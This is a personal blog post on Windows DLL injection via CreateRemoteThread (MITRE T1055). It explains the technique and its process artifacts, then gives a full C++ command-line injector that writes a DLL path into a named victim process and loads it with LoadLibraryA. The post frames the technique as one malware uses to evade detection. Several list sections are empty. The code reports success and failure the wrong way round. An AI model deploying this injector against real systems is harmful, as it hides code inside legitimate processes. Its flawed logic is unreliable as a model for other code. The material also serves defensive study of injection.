Reinventing the wheel: DLL Injection via CreateRemoteThread

It’s been a while since I came across the post Ashkan Hosseini authored on Endgame’s website (Endgame was later acquired by Elastic) [1] about process injection techniques and it was a great motive for me to implement some of the techniques discussed in that post.

So, here it is! My post about DLL injection via CreateRemoteThread. Numerous implementations of this technique already exist out there, so nothing new here to see.

Index:

High Level Mechanics

Before delving into the API details and the core of the implementation, let’s give an overview of this technique.

DLL injection is an approach to inject code into a live process. The technique is documented as T1055 in the MITRE ATT&CK framework [2]. It involves a victimized/targeted process that loads and executes a Dynamic Link Library in its address space. This type of injection is utilized by malware authors in order to avoid detection by not executing their code in a standalone process that will probably raise suspicion. It’s easier to investigate an incident in which a suspicious process is launched vs an incident in which a suspicious DLL is loaded by a legit and/or innocuous process.

Assuming there is a payload DLL already on disk, DLL injection consists of API calls that allocate memory in the victim process, write the path to the payload DLL into the address space of this process (in the allocated memory region), call/invoke the API that will eventually load the payload DLL in the address space of the victim process and execute it.

So, what is really needed for this is to target/choose the victim process and have an implemented payload DLL.

The major misconception I initially had about this technique was that it was a requirement to programatically map the image of the payload DLL into the address space of the victim process. However, further studying and the example code that Adam Furmanek authored in his blog [3] shed more light on the topic.

DLL Injection API mechanics

Let’s now dive into the actual API calls required for this technique.

In order to implement the DLL injection, we need to utilize the following APIs:

What this PoC brings

Instead of just implementing this technique, I chose to also developed additional functionality in this proof of concept.

With the tool I’ve created, a user can specify the following as input:

The tool then checks if the given process is active/running on the host and upon confirmation it injects the DLL into address space of the chosen process. Once the DLL gets loaded, it’s executed.

Execution Artifacts

It’s beneficial to inspect what happens behind the scenes when we inject a DLL that launches notepad.exe into an already running process instance of notepad.exe. For this, I’m using two of the beloved Systinternals tools:

In the following examples, the payload DLL is called calc_poc.dll (as it was initially designed to launch a calculator).

Artifacts in Process Explorer

In Process Explorer the following parent-child relationship is recorded:

notepad parent child

The following screenshot shows that the payload DLL was mapped into the victim process:

notepad mapped DLL

Artifacts in Process Monitor

In Process Monitor the following events are recorded during the load of the payload DLL:

notepad load events

Observations

After running a few tests with this tool, I made a few observations:

They payload DLL I used to test the generated code was based on the skeleton code I’ve written for other demos.

This section will likely be updated in the future as new information becomes available.

The implementation

See below the code I created for this wheel reinvention!

#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <stdlib.h>
#include <string>

DWORD VictimProcessCraving(const char* PName, BOOL *ProcessTokenAcquired)
{
	// function gets a process name and returns the PID of this process
	// a flag is updated, indicating whether the provided process is active in the system

	HANDLE hProcessSnap;
	PROCESSENTRY32 pe32;
	DWORD dwCurrentProcessId = ::GetCurrentProcessId();
	DWORD dwRunningProcessId = 0;
	DWORD dwCurrentProcessSessionId = 0;
	DWORD dwRunningProcessSessionId = 0;
	DWORD victimPID = 0;

	// take a snapshot of all processes in the system
	hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if ( hProcessSnap == INVALID_HANDLE_VALUE )
	{
		printf("[-] CreateToolhelp32Snaphost has failed!\n");
		exit(1);
	}

	pe32.dwSize = sizeof(PROCESSENTRY32);
	
	if ( !Process32First(hProcessSnap, &pe32) )
	{
		printf("[-] Process32First has failed!\n");
		CloseHandle(hProcessSnap);
		exit(1);
	}

	do
	{
		if ( strcmp(pe32.szExeFile, PName) == 0 )
		{
			dwRunningProcessId = pe32.th32ProcessID;

			ProcessIdToSessionId(dwCurrentProcessId, &dwCurrentProcessSessionId);
			ProcessIdToSessionId(dwRunningProcessId, &dwRunningProcessSessionId);

			if (dwCurrentProcessSessionId != dwRunningProcessSessionId)
			{
				printf("[-] Belongs to a different session\n");
				break;
			}

			victimPID = pe32.th32ProcessID;

			if (!OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE , FALSE, pe32.th32ProcessID))
			{
				// didn't get a token for the process, keep looking other active processes
				continue;
			}
			else
			{
				// got a token for the process
				*ProcessTokenAcquired = TRUE;
				break;
			}
		}
	} while (Process32Next(hProcessSnap, &pe32));

	CloseHandle(hProcessSnap);

	// return the victim process PID or 0
	if (victimPID)
		return pe32.th32ProcessID;
	else
		return 0;
}

BOOL InjectDLL(HANDLE hProcess, LPCSTR lpFileName)
{
	DWORD nNumberOfBytesToRead = 0;

	// calculate the number of bytes the DLL path consists of
	int numberOfCharacters = lstrlen(lpFileName) + 1;
	int numberOfBytes = numberOfCharacters * sizeof(char);
	printf("[+] numberOfCharacters: %d\n", numberOfCharacters);
	printf("[+] numberOfBytes: %d\n", numberOfBytes);

	// allocate memory in a target process
	LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, numberOfBytes, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if ( !lpBaseAddress )
	{
		printf("[-] Virtual allocation has failed: %d\n", GetLastError());
		return 0;
	}
	
	// write the DLL in the target process
	if ( !WriteProcessMemory(hProcess, lpBaseAddress, lpFileName, numberOfBytes, NULL))
	{
		printf("[-] WriteProcessMemory has failed: %d\n", GetLastError());
		return 0;
	}

	// get the address of LoadLibraryA
	LPVOID lpStartAddress = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
	if (!lpStartAddress)
	{
		printf("[-] GetProcAddress has failed: %d\n", GetLastError());
		return 0;
	}

	// debug
	printf("[+] LoadLibrary address: 0x%p\n", lpStartAddress);

	// create a remote thread to execute the specified DLL
	HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, NULL);
	if ( !hRemoteThread )
	{
		printf("[-] CreateRemoteThread has failed: %d\n", GetLastError());
		return 0;
	}

	DWORD status = WaitForSingleObject(hRemoteThread, INFINITE);
	
	// cleanup
	VirtualFreeEx(hProcess, lpBaseAddress, 0, MEM_RELEASE);
	CloseHandle(hRemoteThread);
	CloseHandle(hProcess);

	return 1;
}

void menu()
{
	printf("SYNOPSIS\n");
	printf("\tdll_injection.exe -p process_name -d dll_name\n\n");
	printf("DESCRIPTION\n");
	printf("\tApplication to inject a DLL into a given process\n\n");
	printf("OPTIONS\n");
	printf("\t-h, --help\n");
	printf("\t\tdisplay this help and exit\n");
	printf("\t-p, --process-name\n");
	printf("\t\tSpecify the target/victim process\n");
	printf("\t-d, --dll-path\n");
	printf("\t\tSpecify the DLL that will be injected into the victim process\n");
}

int main(int argc, char **argv)
{
	BOOL pset = FALSE, dset = FALSE;
	BOOL ProcessTokenAcquired = FALSE;
	std::string PName, DLLPath;
	printf("[+] Program started...\n");

	for (int i = 1; i < argc; i++)
	{
		std::string s = argv[i];
		// display help menu and exit
		if ( !s.compare("-h") || !s.compare("--help") ) menu();
		/// check if the process name has been specified
		if ( !s.compare("-p") || !s.compare("--process-name") )
		{
			// debug
			//printf("[+] input process-name: %s\n", argv[i+1]);
			PName = argv[i+1];
			pset = TRUE;
		}
		// check if the DLL path has been specified
		if (!s.compare("-d") || !s.compare("--dll-path"))
		{
			// debug
			//printf("[+] input DLL-path: %s\n", argv[i+1]);
			DLLPath = argv[i + 1];
			dset = TRUE;
		}
	}
	if ( !(pset && dset) )
	{
		printf("[-] You have to specify both a process name and a DLL path. Exiting...\n");
		exit(1);
	}

	// find the PID of the victim process given its name
	DWORD victimPID = 0;
	victimPID = VictimProcessCraving(PName.c_str(), &ProcessTokenAcquired);
	if ( victimPID )
		printf("[+] Victim process ID: %d\n", victimPID);
	else
	{
		printf("[-] Could not locate the process\n");
		exit(1);
	}

	if (!ProcessTokenAcquired)
	{
		printf("[-] Could not acquire the process token\n");
		exit(1);
	}

	// victim process handle
	// requires the PID which comes from VictimProcessCraving
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, victimPID);

	printf("[+] hProcess: 0x%p\n", hProcess);

	// call inject DLL
	if ( !InjectDLL(hProcess, DLLPath.c_str()) )
		printf("[+] Successful injection occurred!\n");
	else
		printf("[-] Inject has failed\n");

	return 0;
}

References

[1] https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

[2] https://attack.mitre.org/techniques/T1055/

[3] https://blog.adamfurmanek.pl/2016/04/09/dll-injection-part-3/

[4] https://docs.microsoft.com/en-us/windows/win32/dlls/run-time-dynamic-linking

* Any feedback on this article would be greatly appreciated